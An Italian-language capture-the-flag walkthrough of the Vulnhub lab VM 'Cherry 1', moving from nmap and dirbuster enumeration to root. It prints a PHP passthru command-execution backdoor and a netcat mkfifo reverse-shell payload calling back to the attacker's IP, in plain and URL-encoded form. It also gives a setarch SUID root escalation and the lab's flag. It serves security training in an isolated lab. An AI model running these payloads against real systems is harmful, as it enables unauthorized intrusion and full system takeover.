
In questo articolo affrontiamo la VM Cherry 1 di Vulnhub, una macchina virtuale semplice, utile per fare pratica con gli strumenti di sicurezza e migliorare le proprie competenze. Potete scaricare il file OVA qui.
Il nostro lab è composto da una macchina Kali Linux e da Cherry 1, entrambe su una rete NAT con CIDR 10.10.10.0/24.
Kali Linux ha IP 10.10.10.4
Cherry 1 ha IP 10.10.10.8 (Ubuntu 20.04.1)
Usando VirtualBox abbiamo incontrato un problema di rete, perché Cherry 1 era stata costruita per VMware Workstation Player. Questa macchina usa un nome di interfaccia di rete diverso da quello che VirtualBox le assegna. Questi step vanno seguiti solo per risolvere questo problema specifico.
Il problema era proprio nel nome dell’interfaccia di rete, e per questo non riuscivamo ad assegnare un indirizzo IP a Cherry. Abbiamo avviato la VM con un live cd e modificato il file di configurazione netplan.
- Avviate con un live cd, noi abbiamo usato Ubuntu Desktop.
- Recuperate il nome della scheda di rete con ifconfig (o con il comando ip).
- Montate il disco della VM.
mount /dev/dm-0 /mnt/cherry - Fate chroot in /mnt/cherry.
chroot /mnt/cherry - Andate in /etc/netplan e modificate lo yaml: rinominate l’interfaccia con la vostra.
- Smontate /mnt/cherry con umount.
- Riavviate.
Port Scanning
Abbiamo iniziato a scansionare la nostra VM Cherry con nmap usando questo comando:
nmap -p- -sV -sC 10.10.10.8 -oN first_scan.txt
L’output verrà salvato in first_scan.txt nella directory corrente, oltre che a comparire nel terminale. Questi risultati possono tornare utili per l’analisi successiva.
Questo è l’output:
# Nmap 7.80 scan initiated Sat Jan 30 12:20:34 2021 as: nmap -p- -sV -sC -oN first_scan.txt 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.00012s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cherry
7755/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Cherry
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.80%I=7%D=1/30%Time=6015956B%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
MAC Address: 08:00:27:7B:63:EF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 30 12:20:58 2021 -- 1 IP address (1 host up) scanned in 24.17 seconds
Come riportato da nmap, abbiamo le porte 22, 80, 7755 e 33060 aperte. Iniziamo dai web server sulle porte 80 e 7755.
Visitando http://10.10.10.8/ e http://10.10.10.8:7755/ il browser ci mostra questo:

Bruteforcing delle directory web
Per scoprire quali file o directory sono raggiungibili tramite queste porte useremo dirbuster. Assicuratevi di avere delle wordlist sulla vostra macchina d’attacco: di solito Kali Linux ne include già parecchie. Se non siete sicuri di quali wordlist avete a disposizione potete eseguire:
locate wordlist
Noi useremo: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
dirbuster -u http://10.10.10.8:7755 -l /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 200 -e html,htm,php,txt -v
Avviate dirbuster.
-u specifica l’url del target
-l percorso della wordlist
-t numero di thread
-e estensioni dei file
-v modalità verbose
Il processo richiederà 10/20 minuti, a seconda di quanta cpu/ram avete assegnato a Kali.
Questi sono i nostri risultati:
/
/icons/
/backup/
/icons/small/
/server-status/
/index.html
/info.php
/backup/command.php
/backup/latest.tar.gz
/backup/master.zip.bak
/backup/master.zip
/backup/command.php
Ci concentriamo su command.php.
Se proviamo a raggiungere lo stesso file sulla porta 80, il file viene scaricato sulla nostra macchina Kali. Il codice mostra che viene usato il comando php passthru, che si comporta come exec, quindi possiamo eseguire comandi attraverso questo file.
Contenuto di command.php:
<?php echo passthru($_GET['backup']); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Backup</title>
</head>
<body>
<!-- </?php echo passthru($_GET['backup']); ?/> -->
</body>
</html>
Sfruttare il payload
Dato che questa query esegue comandi, proviamo con il comando id in questo modo:
http://10.10.10.8:7755/backup/command.php?backup=id
Potete provare anche con cat /etc/passwd. Ricordatevi di codificare i comandi con caratteri speciali (spazio, slash) con l’url encoding.
Preparate la macchina Kali con netcat su una porta alta con le opzioni -lvnp: costruiremo una reverse shell come backdoor.
nc -lvnp 4444
Il payload che abbiamo usato è:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.4 4444 >/tmp/f
L’url finale con il payload diventa: http://10.10.10.8:7755/backup/command.php?backup=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.10.4%204444%20%3E%2Ftmp%2Ff
Sulla nostra macchina Kali vediamo comparire una shell (non interattiva); per trasformarla in interattiva abbiamo usato questo comando python:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Questo farà comparire una shell interattiva nel nostro terminale.
Privilege Escalation
A questo punto abbiamo accesso a Cherry 1 come utente www-data, ma vogliamo l’utente root.
Cercavamo un SUID sfruttabile, e abbiamo trovato setarch. Questo comando e questo sito ci aiutano:
find / -perm -u=s -type f 2>/dev/null
Scoperto che il comando setarch può darci privilegi di root, lo sfruttiamo con:
setarch $(arch) /bin/sh -p
Ora siamo root.
Usate il comando id o whoami se non vi fidate 😉
Spostatevi nella directory /root e leggete proof.txt.
Ecco la flag:
Sun_CSR_TEAM.af6d45da1f1181347b9e2139f23c6a5b
Conclusioni
Questa macchina virtuale mostra quanto sia importante configurare correttamente un web server, dato che abbiamo sfruttato il codice sorgente di un file php scaricabile. Un test come questo può essere uno strumento potente per capire meglio come funzionano le cose nella nostra rete, e ci dà la prospettiva giusta per implementare nuovi sistemi con una postura di sicurezza adeguata.
Speriamo vi sia piaciuto l’articolo, e speriamo non sia l’ultimo.